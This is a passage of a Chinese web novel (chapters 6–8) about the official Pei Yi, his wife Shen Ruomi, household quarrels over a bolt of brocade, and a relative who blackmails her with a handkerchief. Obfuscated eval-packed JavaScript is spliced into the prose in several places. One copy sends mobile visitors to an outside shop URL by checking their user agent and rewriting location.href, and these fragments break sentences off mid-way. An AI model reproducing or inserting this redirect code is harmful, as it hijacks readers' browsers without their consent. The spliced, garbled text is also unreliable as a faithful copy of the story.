坐到床上,裴翊捏了捏眉心。 暂时没有睡意,他也不打算睡,便在屋里转了转。 芳菲馆屋里的装饰很简单,基本上都是些日常要用的器皿和东西,华丽的摆设几乎没有。 梁国公府沈继宗家他曾去过,府内奢侈豪华,穿着绸缎的婢女侍从林立,一副没见过世面的暴发户的模样。 想到沈继宗,裴翊眼中闪过一抹厌恶。 屋里有一扇和沈若宓差不多高的乌木书架,裴翊随手从里面抽了本书看。 是本诗集,里面誊抄了不少本朝有名诗人的诗,裴翊不感兴趣,脑子里回想起白天审的几桩案子,将里面的疑点又从头到尾想了几回。 不知过了多久,一旁的小银烛“吡呲”一声,他回过了神来。 外面已没有任何声响。 哄孩子需要这么久吗? 裴翊起身,走到西厢前。 屋里已漆黑一片。 听到动静,妻子的某个丫鬟才匆匆忙忙地披着衣服跑过来,貌似好心地道:“大爷,大奶奶和姐儿刚已经睡下了,奴婢们看着就好,您快去睡吧!” 裴翊:“……” 6.第 6 章 作为三法司之一的大理寺并不处于皇城之中,反而位于离皇城较远、京都城最为偏僻的西北角。 五行认为西方属金,主刑杀,且三法司主要负责审理案件、管理监狱,杀戮多、血腥气又重,靠近皇城与皇宫多有不便,因此被安排在了偏僻之地。 这也导致每回裴翊下衙,都要往他每日上衙一个完全相反的方向走两刻钟的时间才能到家。 今日也是巧,裴翊下衙,从宣武门离开,向东大街上走了没多久,遇见了自己的两个兄弟裴子衡与裴少廉。 裴子衡与裴少廉虽然不是裴翊一母同胞的亲兄弟,但三人年纪相差不大,从小一起玩到大,关系自然也比其他的几个兄弟更为亲厚。 如今裴子衡和裴少廉都在宫中做勋卫,定国将军府在正西坊,距离皇城不远,按理说这两人从皇城大门出来之后,一直沿着正阳门大街走不远就到家了,怎么今日反而向着反方向的位置来了? 裴子衡一脸揶揄地看着三弟裴少廉,“还不是这‘妻管严’,三弟妹爱吃宣武门大街上的那个买西湖醋鱼的铺子,他一下衙就急吼吼地窜过来买,生怕回家晚了被三弟妹排揎。” 裴少廉连忙嚷嚷道:“大哥你别听二哥浑说,我裴少廉才不是什么妻管严,那西湖醋鱼我也爱吃,又不是单为她一个买的!” “一早就听你那屋在吵架,怎么,是闹什么别扭了?”裴翊问。 早晨起床时裴翊就听到裴少廉那屋的方向传来潘氏的争执声。 裴少廉摸了摸鼻子道:“大哥你耳朵倒是好,其实不算是吵架……就是拌了几句嘴,她早晨心情不好,我搁那儿絮叨了几句,她就不高兴了,嫌我烦。夫妻两人整日低头不见抬头见的,生口角不也是人之常情嘛,前些时日我不是还看见二嫂同二哥你拌嘴!” 裴子衡:“什么人之常情,你莫胡说八道,你二嫂可没敢跟我吵过架。” 裴翊皱眉道:“少廉,你身为三房一家之主,如何能去看三弟妹的脸色行事?” 裴少廉说道:“大哥啊,是我多嘴了,明知她心情不好还去逗她,谁没有个心情不好的时候呢,这也不是她的错啊?” 这下裴翊与裴子衡都无语了,心想:果然是妻管严! 裴少廉为了报适才裴子衡嘲笑他之仇,故意问裴子衡道:“倒是我没想到,二哥你如此风流倜傥的人物,还有哄不好的女人,敢问二哥是因何吵架?” 裴子衡被裴少廉堵得喉头一梗,他脑子转的倒是快,立马将话头转移到了裴翊的身上。 “男儿立于天地之间,非一后宅女子所能及也。我与大哥岂是那等看女人的脸色行事的男人?大嫂向来温柔贤惠,善解人意,想来应该不会因为这点子鸡毛蒜皮的小事与大哥拌嘴的。” 裴少廉嚷道:“什么鸡毛蒜皮,不拌嘴那能叫夫妻吗?俗话说打是亲,骂是爱,不打不骂不痛快!一个女人要是不爱你,不在乎你,才不会费心跟你吵架!” 裴翊一顿。 沈若宓还真没同他吵过架。 裴子衡却笑道:“三弟你净说些歪理,夫妻间本该相互扶持、举案齐眉,正是因为太在意,所以才不愿吵架伤了双方的情谊,分明是你自己哄不好三弟妹,总惹人家生气,还好意思说三弟妹同你吵架是在意你,你这脸皮也是厚到没边儿了!” 说到此处,裴子衡忽话锋又一转,对裴翊说道:“三弟这人说话办事都不靠谱,大哥你别听他瞎说,你不在家这段时间家中上下都是大嫂在操持,她刚出月子没多久,大伯母就把管家权交给了她,虽有我娘和几个婶婶帮衬,到底吃力。” “听说大嫂从小是在青州老家的道观中长大,那举止做派我看她与沈家并非是一路人……” “大哥大哥。” 正说着,裴少廉挤到中间来,打断了两人的对话。 “昨日你要抓那个逃犯,我也是出了不少力,若不是我使出那一招横扫腿,恐怕不能轻易抓住他,我可否厚颜向大哥你讨个赏。” 裴少廉笑眯眯又谄媚地道。 昨日那个逃犯钱二是个亡命之徒,曾在江浙一带犯下数起命案,是个有名的通缉犯。 大概是觉得天子脚下灯下黑,竟大着胆子跑回京城来,改名换姓吃胖了五十斤在城南做起了客栈的生意,还赚得盆盈钵满。 后来大概是觉得没人认出他来,钱二警惕心也弱了,被人认了出来举报到顺天府。 钱二犯下的几起命案一直都是裴翊在复核,顺天府尹找来裴翊,确认了此人的确是逃犯钱二。 昨日正是裴少廉在五城兵马指挥史司值守,裴翊在顺天府和五城兵马指挥史司协助配合下一举将这逃犯缉拿归案。 裴翊:“你想讨个什么赏。” 这便是应允的意思。 裴少廉大喜,忙道:“君子一言驷马难追,大哥你可不能赖账!其实也不是什么大事,就是大哥你从蜀地带回来的那匹浮光锦,我……娘想要几尺布头来做件褙子。” 裴翊:“……” 裴子衡:“……” 他说话时那副忸怩磕巴的模样,裴翊和裴子衡都听出来了。 恐怕梅二太太想要浮光锦是假,三弟妹潘氏想要浮光锦才是真! 为了哄新媳妇,裴少廉连自己老娘的脸面也不要了,裴子衡甚是无语。 只是君子一诺,已经应许出去的话,想收回来却难。 裴翊没有犹豫地道:“好,明早送到你房里。” 裴少廉大喜过望,这个没心没肺的,路过西湖醋鱼摊,下了马乐颠颠地就去排队了,浑然不知他即将给别人带来多大的麻烦。 裴子衡说道:“大哥,你别怪我多嘴,三弟不懂事,你不该应允三弟。我听说那浮光锦珍贵,你没带回来几匹,那本是你给大嫂的料子,大嫂为了家辛苦操持和生儿育女,是她应得的,说句不中听的,三弟妹为这个家做了什么?” “君子一言,我既然答应了,就不会更弦易辙。”裴翊说道。 裴子衡只得闭嘴。 毕竟有些话,他也不好再深劝。 “杭州的詹家表妹,我见过了,是个钟灵毓秀的女孩儿,听说等她出了孝期,祖母有意将她许配给大哥,想来至多再过半年,就能听到大哥坐享齐人之福的好消息了。” 裴翊淡淡道:“你今日怎如此聒噪。” 裴子衡一哂。 片刻后,他忽又意味深长地笑了起来,压低声音道:“说到齐人之福,大哥可曾尝过?” 他这个二弟裴子衡,打小就混在女人堆里,勾栏瓦舍,青楼楚馆,兼之相貌英俊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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三法司靠近城西,位置阴冷偏僻,左邻右舍时常能听到犯人撕心裂肺的嚎叫声,这种地方寻常人只想敬而远之,居然还有人能乐此不疲每天风雨无阻地早去晚归,在里面一坐就是一整天。 虽然说裴翊这人她不喜欢,但这种持之以恒的精神,倒是很值得沈若宓学习。 毕竟每日不到天亮就要起床去太夫人和嘉善长公主那里点卯,如今已是她一天之中最为痛苦的一件事。 夫妻两人各自在沉默中穿着自己的衣服。 “夫人,”裴翊说:“我上次送你的那匹浮光锦,你可还留着?” 上次周嬷嬷让沈若宓将浮光锦拿给詹茗薇做衣服,詹茗薇只要了半匹布,余下的她原封不动送了回来。 沈若宓顿了一下,如实说道:“还在库房里,不过只剩下了半匹。” “也好,剩下那半匹你交给阿松,我有用,等会再让阿松带你去我的库房,你喜欢什么在里面随便挑。” 沈若宓愣住了。 就在不久前,素娘和雪茜还在开心地跟她讨论用那半匹浮光锦给她做一条百褶裙。 虽然她并不稀罕裴翊送她的礼物,但这也不代表她不需要一条漂亮的裙子。 因为再有一个月,二房裴子衡的弟弟,裴家四爷裴子文就要娶妻。 “大爷是要把那半匹浮光锦给谁?” 裴翊说道:“三弟。” 沈若宓还想说什么的时候,裴翊已经转身走了。 所以,他来她这里睡一晚的目的,就是为了要那半匹浮光锦送给裴少廉? 或者说,送给潘宝珍。 7.第 7 章 三房离着芳菲馆近,半匹浮光锦送去三房之后,没过多久潘宝珍就欢欢喜喜地来了芳菲馆。 “三奶奶,曹家来府上商议亲事,我们大奶奶一早就和二太太、三太太去了花厅,怕你等的急,您不如先回去吧。” 曹家正是四爷裴子文的未婚妻家。 素娘早看出来潘宝珍是来炫耀的,想把她给打发走。 潘宝珍自己寻了处坐下,一面逗着在地上乱爬的菱姐儿,一面道:“你不必管我,我正巧闲着没事,在这里逗逗菱姐儿。” 忙了一上午,沈若宓回来的时候,潘宝珍坐在她的书案前,手中不知拿着什么在比划。 “大嫂,你可算是回来了!” 她刚进门,潘宝珍就亲亲热热地上前来挽住了沈若宓的胳膊。 “大嫂,多谢你今早送过来的那半匹浮光锦,前个儿我来找你借,你当时说借出去了,我心中不快,还以为你是故意不愿借给我呢,没想到这才过去几天,你就让丫鬟又给我送过来了,我当真是以小人之心度了君子之腹呢!” 沈若宓说道:“那日我并非不想借你,是老太太想用浮光锦给詹表妹做新衣服,我不好只裁半匹给她,便把一整匹都送了过去,你走之后的第二天,她又归还了半匹回来。” “这詹表妹若是真懂点人情世故,就该将一整匹都还给嫂子,那毕竟是大伯送给大嫂的礼物,一匹料子也就做一身衣服,她送回来半匹是个什么意思?” 潘宝珍说到此处,又嗔道:“哎呀,都怪少廉,我那天跟他拌嘴,说他没能耐,大伯能给大嫂挣来浮光锦,他整日就知道在宫里混日子,没想到他竟还腆着脸去问大伯借了!我若早知道大嫂只剩半匹浮光锦,死活不让他去找你借的。” “不过大嫂,我可不像詹氏白借你的,你向来穿的素净,我这刚巧有一套今年新打的赤金红宝石的头面,就忍痛割爱与你了!” “我记得三弟妹有一套头面是镶东珠的,比起宝石,我还是喜欢东珠,三弟妹不妨将那套头面送给我,算是两清,如何?”沈若宓看着她,说。 潘宝珍笑不出来了。 沈若宓来真的,还伸手跟她挑上了? 那套东珠的头面可是她娘送她的嫁妆,再说了,东珠和宝石如何能相比? 见潘宝珍变了脸色,沈若宓微微一笑,“先前三弟妹也说了,你库房的东西任我挑选,如今该不会食言吧?且我穿着素净,不喜张扬,东珠就很适合我。三弟妹出身韩国公府,听说你的母亲杨氏娘家在正阳门大街上开了不少铺子,想来这区区东珠于你而言不过是九牛一毛,微不足道吧?” “自然,区区东珠而已……”潘宝珍的话几乎是从齿缝里挤出来的,“等会我让丫鬟给送过来。” 沈若宓对素娘道:“素娘,你快去打发阿松,让他晌午去大理寺给大爷送饭的时候说一声,我今日得了一套三弟妹送的东珠头面,欢喜得不行,请他今晚务必早些回来。” 说罢,又叹了口气,万分诚恳地对潘宝珍道:“三弟妹,我是小地方出来的,得了一套东珠头面就欢喜得不行,你该不会介意吧?” “不会。” 潘宝珍的心几乎都在滴血了。 沈若宓这么一说,裴翊也知道她送了一副东珠头面给沈若宓,她便是想赖掉不送都不行了。 “大奶奶,你没看三奶奶走时那懊丧后悔的样子,谁能想到她早上来的时候多么得意!”雪茜笑得,几乎要直不起腰来了。 沈若宓却只觉得潘宝珍烦人。 她既然想要,若真心以对,自己不一定不会给,但对方很明显是在蹬鼻子上脸。 她看着书桌上被潘宝珍翻乱的图样,那本来是她预备做的衣服选样,现在也用不上了,就随手扔进了废纸篓里。 …… “二叔。” 潘宝珍从芳菲馆出来,走了没多久碰见裴子衡。 裴子衡问:“三弟妹怎么看起来脸色有些差,可是少廉又惹你不高兴了?” “有么?” 对上裴子衡关切的目光,潘宝珍立马摸了摸自己的脸,不大自在。 裴家这三房嫡子,大爷裴翊向来不苟言笑,叫人难以亲近。 三爷裴少廉自小与潘宝珍青梅竹马,脾气好好拿捏,特别听潘宝珍的话,这也是潘宝珍会嫁给他的原因,因为她不能容忍自己的丈夫忤逆她。 而裴子衡却是裴家出了名的风流人物,虽说潘宝珍与裴少廉新婚燕尔,但是面对更加英俊妥帖的裴子衡,没有人不会沦陷在他温柔的笑容中。 “还不是少廉这个没志气的,大伯在大理寺办差,二伯你同在宫里,天子脚下,只有少廉高不成低不就,大嫂身上就能浮光锦,我却只能穿些蜀锦杭缎。” 裴子衡说:“大哥办案,惹得麻烦事也多,不知多少小人想报复他,我在宫中,也是伴君如伴虎,三弟在五城兵马指挥史司却不受约束,正好还有闲暇时间余出来陪弟妹,岂不美哉?若是他真如大哥那般,三弟妹怕要独守空房了。” 潘宝珍脸一红,“还是二伯说的有理,是我多虑了,多谢二伯为我解惑。” …… 沈若宓有晚上散步的习惯。 傍晚时分,外面月亮出来了,她才牵着菱姐儿出来散步。 如今正是人间四月,穿花拂柳,看着四下鲜妍景色,她心情好了不少。 不过,却遇到了一个不该在这个时候遇见的男人。 “嫂嫂。” 坐在湖边柳树下太湖石上的那个男人站了起来,朝沈若宓走过来。 是裴子衡。 “猪猪,呜……” 看着对方越走越近,沈若宓下意识后退了两步,她还没做出反应,倒是菱姐儿朝着裴子衡伸出了手。 菱姐儿待裴子衡很是亲近。 裴子衡上前摸了摸菱姐儿的头,随后在离沈若宓五步之外的地方站定。 “嫂嫂,”他轻声问:“大哥还没回来?” 沈若宓说:“没有。” “我听说他今日接了一个颇为棘手的案子,想来今夜会晚些回来。” “今夜大爷是不能回来了。” 阿松一个时辰之前是这么跟沈若宓说的,连理由都没有。 沈若宓点点头。 他回不回家对沈若宓而言其实不重要,反正她早就习惯了。 这个人一天需要办四十多件案子——虽然不知道他为什么给自己定这么个规矩,但他要是回家陪她跟孩子就干不完了。 “嫂嫂,听说你今日给了潘氏半匹浮光锦?” “二叔也听说了?” 裴子衡摇头,“我不是听说。嫂嫂,这匹浮光锦,其实是潘氏向三弟索要的。你知道三弟一向耳根子软,他与潘氏青梅竹马,又新婚燕尔,三弟先借着帮大哥办案子的功劳向大哥要了许诺,再开口要浮光锦,大哥无法回绝,只能应下。” “二叔与我说这些做什么?” 沈若宓明白裴子衡的意思了,“难道你以为我会因为这半匹被夺走的浮光锦难过吗?” 裴子衡看着她如玉静谧的脸庞,一怔。 “嫂嫂,我不是那个意思……” 沈若宓心想,放在曾经,她心里的确是难过的。 不,是恨。 她恨自己明明有心悦之人,却要嫁给一个自己素昧平生的男人。 而这个男人,他眼里一心只有自己的案子和他的亲人,哪怕她拼了命地为他生儿育女也只不过是个无关紧要的外人。 新婚三月,她刚怀孕之时,还未来得及告诉他这个好消息,他便主动请缨去平定蜀王之乱。 在他离家的近两年间里,只给她写过一封报平安的信。 而她,孕期还在被太夫人,被裴家的那些亲戚折磨羞辱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300300|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,给他一连写了三封信盼他回来救他,将他视作唯一的救命稻草,他却从未有过任何回应。 就连这次归家,明明他可以赶在女儿周岁前回家为女儿庆祝周岁,可是这个连女儿都还没见过的男人,居然为了他的表妹千里迢迢从蜀地去了杭州。 不过,她现在也释然了,她再恨裴翊也解决不了任何问题,还是得跟这样的一个男人过一辈子。 因为直到生下菱姐儿后她才彻底地明白,这场婚姻从一开始就是一个交易,她不该对任何人抱有期待,不管是沈皇后还是裴翊都不是她能够依靠的人。 与其靠别人,不如靠自己。 裴翊是她的丈夫,更是沈皇后的同盟,她做好裴家的主母、维系了裴沈两家的往来,就不算辜负沈皇后的嘱托了。 至于她自己,在裴府锦衣玉食荣华富贵享受着,这日子过得也是不错的。 除了如是安慰自己,又有什么办法呢? “难过又如何,明月易缺,好物难全,难道二叔就过得快活吗?” 裴子衡看着月光下她淡然的模样,心中滋味莫名。 也许,她比他想象的要更坚强。 “二叔若无其他事,我便先走了。” 沈若宓说。 “好。” 裴子衡张了张唇,终究没有再说什么。 沈若宓回过身,素娘抱着菱姐儿在身后的小花园里守着,正一脸担忧盯着她。 沈若宓一哂。 和裴子衡说这么多,她知道不妥。 不过裴翊丝毫不顾及她的感受,她凭什么还要去在意他的想法。 气坏自己身体不值当,反正他也不时常在家,就当他是个死人好了。 素娘连连摇头,“裴家的这几个爷,唯有这位二爷是个不能招惹的主儿,小到丫头片子,大到管事媳妇,他没一个不敢招惹的。” “姑娘,你日后还是离他远些吧……也是奇怪,他怎么总是喜欢姑娘说这些话,好似同你很熟似的。” “大约在宫中待嫁的时候,他见过我吧。” 沈若宓没有多想。因为自从她嫁进裴家以后,裴子衡的确是对她多有帮扶,但亲近而无亵渎,从未有过一丝逾矩之举。 主仆二人回去的路上都是各怀心事,没留意从斜刺里的树丛里忽窜出个黑影拦住了去路。 素娘唬了一跳,连忙抱着孩子,另一只手拉着沈若宓急急后退。 那黑影才从夜色中缓缓走了出来。是个二十来岁的男人,白皮肤,容长脸,鹰钩鼻,样貌倒颇是英俊潇洒,笑起来眼神中却带着丝阴险。 他朝沈若宓一作揖。 “嫂子,真是巧了,竟在这里遇见你!” “原来是二姑爷,怎么大晚上的躲在这草丛里,吓着我们便罢了,吓坏了孩子怎么办!”素娘掀开怀中一角小被,一面查看一面责备道。 菱姐儿适才昏昏沉沉睡过去了,幸好这丫头觉沉,这会儿都没给吓醒。 “小生有罪,还请嫂嫂原谅则个。”陈翰笑着说道。 陈翰和府中二姑奶奶裴曼瑛是夫妻俩,这二姑奶奶与裴子衡乃是一母同胞,因生母早逝也是自幼被太夫人娇养长大的,裴曼瑛嫁了人还隔三差五地回娘家住。 她自己回娘家也就算了,每回又偏要带上陈翰一个外男。 沈若宓不喜欢陈翰,每回家宴,凡此人在场时目光总是不怀好意地窥视着她。 她没搭理陈翰,对素娘道:“咱们走吧。” “诶——” 陈翰突然抬手挡住沈若宓和素娘的去路。 “嫂嫂急什么要走?我看你刚与衡二爷那般聊得投缘,怎遇见了我就急不可待要走了?” 沈若宓抬起头,冷冷看向他。 陈翰却也不怕,反而凑近了得意地笑道:“嫂嫂,我都看见了,你与衡二爷有私情,我没说错吧?” 8.第 8 章 “嫂嫂,我知道深闺寂寞,大舅哥不在的这段时间,你一个人独守空房……” “你想说什么。” 他还想凑近,沈若宓打断他。 陈翰搓着手笑,“我不想说什么呀,嫂嫂,二爷是瑛娘的亲哥哥,我就算再怎么混账也不愿走到那一步的,只是提醒你、担心你着了二爷的道儿。” “不过嘛,二爷风流是京都城人尽皆知的事儿,旁人知道了,那也只会骂一声二爷猪油糊了心,可是嫂嫂你就可怜了,照着太夫人和大舅哥的性子,就算是皇后娘娘亲自来救你只怕都不成了!” “你没有证据,凭什么说我与二爷私通。” “证据?” 陈翰从袖中抽出一条绣着琼花的白绫帕。 “嫂嫂,这是你的帕子,若是旁人知道你这条帕子在我……哦不,随便一个男人身上,你猜会如何?” 看着沈若宓那张似乎永远端庄体面的娇容终于变了脸色,陈翰脸上也露出了得逞的笑。 沈若宓显然不是个好招惹的对象,陈翰自然晓得。 不说这皇后娘娘多么心狠手辣,雷霆手段,便是大舅哥裴翊,也不是什么省油的灯。 每年在菜市口经他手被砍掉脑袋、凌迟削肉的犯人成百上千。 只是,这色迷心窍,谁劝都没用。 打从在去年婚宴上第一次见到沈若宓,陈翰就被她深深迷住了。 这个女人生得娇艳欲滴,像一朵正盛放在枝头的牡丹花,偏偏她却是个再正经不过的女人,喜欢将曼妙的身姿包裹在厚而素净的衣服之下,即便是妆容淡扫,也掩不住她的天姿国色。 都说妻不如妾,妾不如偷,偷不如偷不着……男人对于自己得不到的女人,总是出奇地贱,哪怕知道她的目光从来不会落在自己的身上,还是会忍不住在阴暗的角落意淫。 陈翰也不求一夕之欢,若能得沈若宓青眼,哪怕跟她说上一两句话,他便已很是心满意足。 谁知今夜却得了个绝佳时机,原本他是想装偶遇同沈若宓说上几句话,竟让那裴家二爷捷足先登,叫他撞见平日里端庄贤惠的大奶奶与风流成性的裴二爷私会。 这说明了什么? 这样漂亮的女人根本不可能耐得住深闺寂寞,就算她表面上装得多么高贵典雅、生人勿进,背地里也是一个□□□□。 “十日之后,我听说五月初八是梁国公的寿宴,午后申时一刻我在永兴庵等着嫂嫂赴会。” 陈翰笑吟吟地道。 回芳菲馆后,沈若宓径直走到床前,从床底摸出一个黑色的包袱,从里面拔.出一把被擦得铮明瓦亮的豆腐刀。 十几年前沈继宗抛弃了褚氏,原本是当地书香世家的褚家也跟着没落,小时候沈若宓就跟着褚氏在青州的临安老家卖豆腐维持生计,左邻右舍见她模样俏丽做的豆腐也香,都喜欢叫她豆腐西施。 但这个豆腐西施性格泼辣,一把豆腐刀她使得出神入化,兼之临安县令与褚家有旧,故而村里的地痞无赖都不敢欺负她。 素娘见状却是花容失色,连忙抱住沈若宓:“我的佛!姑娘你千万千万别想不开,有什么事咱们从长计议,实在不行咱们去求皇后娘娘,你可千万别干傻事啊!” 沈若宓说:“素娘,你先松手。” 素娘搂着她反而更紧了,她怕沈若宓一时想不开去二房砍了陈翰。 沈若宓:“……” 她保证道:“我不会干那种蠢事了,但姑姑……我也不会求她。素娘,你放心,陈翰以为他能要挟我,我必然不会让他轻易得逞!” “那姑娘想怎么办,难道咱们真的要去永兴庵赴会吗?” 素娘见她不像是要拼命地样子,才心有余悸地松开了手。 “去,自然要去。” 沈若宓抚摸着豆腐刀冷滑的刀面,从胸口缓缓吐出一口气。 至于怎么做,还需要从长计议。 …… 十天后,五月初八,是沈继宗的大寿。 裴翊陪着沈若宓回了娘家。 沈继宗此人,身高七尺,快四十的人还生得面如傅粉,头发乌黑,一把美髯,年轻的时候也是十里八乡最俊秀的男子,丝毫不像个商户出身,当时不知多少闺阁少女想嫁给他。 沈家几代都是临安的商户,以开经营木材生意为生,沈老太爷考了大半辈子都没考上秀才,因此很是羡慕褚家。 褚老太爷当年是临安县令,他的儿子年纪轻轻又中了秀才,孙女褚瑞云不光生得貌美,更是临安有名的“女诸生”。 沈继宗听从父母之命娶了褚瑞云,然而他本就是个胸无点墨的纨绔子弟,怎么定的下心来一辈子只守着自己的妻子? 沈老太爷去世之后,沈继宗就以褚瑞云多年无子和照顾沈老夫人为由将她丢在了沈家的临安老家,一家人搬去了镇上。 后来青春丧夫的妹妹沈玉萼''改''嫁给当年还是韩王的兴启帝做妾,沈家又跟着搬去了南京城。 兴启帝登基后一家人又搬到了京都城,恰逢长兴侯之女耿氏新守寡,只因在街上对沈继宗惊鸿一瞥,回家后,就死活非沈继宗不嫁。 沈继宗,就凭着一张脸和亲姊妹的裙带关系,自此后平步青云。 若是他不开口说话,或许会被误会是一名博学多识且温文尔雅的官老爷。 可这人只要一张口,他脑腹中的浅薄无知就尽数得暴露无遗,叫人忍不住皱眉头。 譬如此时的宴席上,他便在喋喋不休、反复地吹嘘自己是何等地礼贤下士,兢兢业业,只因不久前皇后刚给了他和弟弟沈嗣祖一桩修建黄河大坝的任务。 而席间他的吹捧者只会不停地附和他,称赞梁国公沈继宗某某事做是多么地体面。 看见裴翊眉头紧皱地放下手中的茶盏,沈继宗关切地询问:“贤婿,可是这茶你喝不惯?你有所不知,这是云南前不久专贡的雀嘴茶,陛下赏了我一些,名贵是名贵,味道却有些苦涩,你喝不习惯也是寻常,不如尝尝这西湖龙井,正是清明前不久才采摘的明前茶,滋味最为甘冽,你若喜欢,我库房里还有不少,拿去便是……” 沈继宗独个儿滔滔不绝的时候,沈若宓就在一边瞥着裴翊,中间,还贴心地给他续满了茶。 看表情裴翊应该忍得挺难受,不过他修养极高,还有心情对她说了句多谢夫人,等沈继宗话都说完了才开口拒绝。 “岳父大人,不必了。” 沈继宗自讨了个没趣。 他还不死心,转而又看向了自己的女儿,“女儿啊,”他上下打量了下沈若宓,笑着道:“比上次见,我看你清减了不少,面色倒是红润,日后要也时常回娘家看看,梁国公府离将军府也不到半个时辰的路程。” 沈若宓姿态恭敬地道:“劳父亲记挂,女儿一切都好,记得当年娘还活着的时候,说父亲最喜欢收藏一些前朝珍宝,前不久女儿刚得了一件宝物,特意在父亲的生辰上献给父亲。” 说着,她看了一眼素娘。 素娘从袖中抽出一枚锦盒,上前递给了沈继宗。 沈继宗脸上是万分期待的表情,直到他打开了锦盒,发现里面是一块再普通不过的玉佩。 他便将锦盒一扣丢给了身后的小厮,从脸上硬是挤出丝笑来。 “你有心了!” 裴翊眯了眯凤眼,斜向一旁低头端坐的妻子。 “父亲,你可喜欢这礼物?这是一块鸾凤和鸣的宝玉,听说是前朝武帝元后的心爱之物,夫妻二人之深意重,女儿听了落泪,买来它可花费了我不少心思。幼时您最疼爱我,到老了,也该让女儿为您尽孝了。” 沈若宓柔声说。 原配夫妻相互爱重,沈若宓不就是讽刺沈继宗抛弃糟糠原配么,旁人不知其中内情,只以为沈若宓的生母褚氏是病逝,沈继宗对自己干的缺德事却是心里有数的。 沈继宗终于明白了,合着这大孝女是在变着法儿的讥讽他! “自然喜欢,”当着满座的宾客,他假装听不懂沈若宓话中的讽刺之意,只能咬着牙笑道:“宓姐儿真是孝顺,爹我没白疼你!” 这种细微的反应怎能逃得过裴翊的眼睛,他一眼就看出了沈继宗的不对。 沈若宓却似毫无察觉般,又冲她的父亲嫣然一笑,实在是个孝顺懂事的女儿。 “父亲喜欢便好,日后女儿多回娘家来看您。” 裴翊想,也许是他多心了。 …… 用午膳时,男眷女眷便分了桌。 沈若宓从小在乡下长大,对沈家没什么感情,用完午膳后便借口头疼,去了一旁的暖阁中休息。 刚坐下没多久,雪茜就急匆匆地跑了过来。 “奶奶不好了,不好了!” 雪茜附到沈若宓耳旁说了几句话,沈若宓皱起眉,立时起身走了出去。 而此时,沈若宓的两个妹妹正在密谋如何接近裴翊。 二妹沈锦容原姓王,是耿氏前夫的女儿,今年十五。 三妹沈静宛是沈嗣祖最得宠的小妾纪姨娘所生,今年十二。 原本她二人是嫁给裴翊的最佳人选,只这沈锦容长得像她娘,皮肤略黑,眼睛不大,样貌上差了些,且不是真正的沈家人。 而沈静宛漂亮是漂亮,长得很像纪姨娘和沈继宗。 今年却才十二,还不到出嫁的年纪 正当沈皇后犹豫不决时,半路杀出个沈若宓,因她长得颇类沈皇后,竟硬生生从二人手中抢走了裴翊! 二人岂能吞下这口气,听说裴翊就在男眷宾客的院子里吃酒,便悄悄来到院外佯装偶遇。 “若是待会儿他拒绝我可怎么办?” “二姐多虑了,今日你打扮得这样漂亮,妹妹我见了都心动,裴大人定然不会拒绝你!”沈静宛笑道。 “可沈年年长得比我好看,你听适才在爹面前裴孝均一口一个‘夫人’对她叫着,他真能看上我吗?” “二姐此言差矣,大姐长得是美,可是她那性子跟块臭石头似的,裴大人怎么能喜欢的起来?我姨娘说若是一对夫妻‘相敬如冰’、‘举案齐眉’,那定然就是不够恩爱,裴大人不过就是看在咱们皇后姑姑的面子上给大姐点脸面罢了。” 两姐妹就这样在大太阳下站了一晌午,热得额头都开始冒汗了,然而没等来裴翊,等裴翊早从后门走了,等来的却是—— 沈若宓款款走来,来到二人面前,说道:“好巧,多日不见,两位妹妹近来可安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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妆容花了,衣服也脏了,这下是真没法等裴翊了,气得沈锦容一面咬牙切齿地叫着沈若宓的乳名,见有外男探头探脑出来看,又灰溜溜地逃回了自己的房间。 …… 那厢,听说是大理寺有事,裴翊已先走了一步,沈若宓才松了口气。 裴翊就是要找小老婆,也得睡她找的小老婆。 在没生出裴家的嫡子之前,她必须看紧了裴翊,以防哪天他从外面给她领回来一个大着肚子的女人。 时辰不早了,快要到陈翰跟她约定的时候。 沈若宓借口去永兴庵礼佛,只带上了她最信任的素娘。 永兴庵。 沈若宓打开净室的支摘窗,窗外植了一片竹林,风声吹得竹叶簌簌,一阵裹挟着腥土之气的寒风迎面吹来。 她抬起头望天,才发现西南方向不知何时飘来一团黑蒙蒙的乌云。 风雨欲来。 夜色一深,永兴庵离将军府有一个时辰的路程,怕是就不好回家了。 虽然心急,又面对未知的状况,但她仍是深吸口气,强迫自己冷静下来,临窗抄写佛经。 不知过了多久,忽然听门外“咕咚”一声。 进门的时候,素娘安排两个小僧守在了门外。 素娘说:“我去看看。” 她甫一打开门,就看见两个僧人倒在地上昏迷不醒,刚想大声呼救喊姑娘快跑,陈翰猛地从背后给她后颈一击。 素娘声音戛然而止,被陈翰抱住靠在墙角的无人处,和两个僧人一起用张草席子一盖。 “你对他们做了什么!”沈若宓站在门口问。 “没什么,嫂嫂放心,我只是让他们昏过去了。”陈翰反手锁上门闩,笑着道。 “那你关门做什么?”看着陈翰向前,沈若宓警惕地后退。 陈翰说:“自然是怕嫂嫂跑了,不怕嫂嫂笑话,从大舅哥的婚宴上我见嫂嫂第一眼,便对嫂嫂你一见钟情,嫂嫂,我从来没见过像你这样美的女人。” “你这样漂亮贤惠的女人,大舅哥却让你独守空房这么多年,我看他压根就是个不解风情的粗人,白白糟践了嫂嫂的美貌与心意!” 说着,从袖中取出一只锦盒,打开锦盒,里面赫然躺着一枚红翡滴珠金步摇。 见沈若宓盯着那金步摇怔怔地不说话,陈翰心中窃喜。 看来不管是什么样的女人,都禁不住男人的甜言蜜语与漂亮首饰。 他继续吹捧:“嫂嫂浓眉杏眼,丹唇琼鼻,唯有佩戴这样艳丽夺目的首饰,方能衬出你的绝世容貌……” 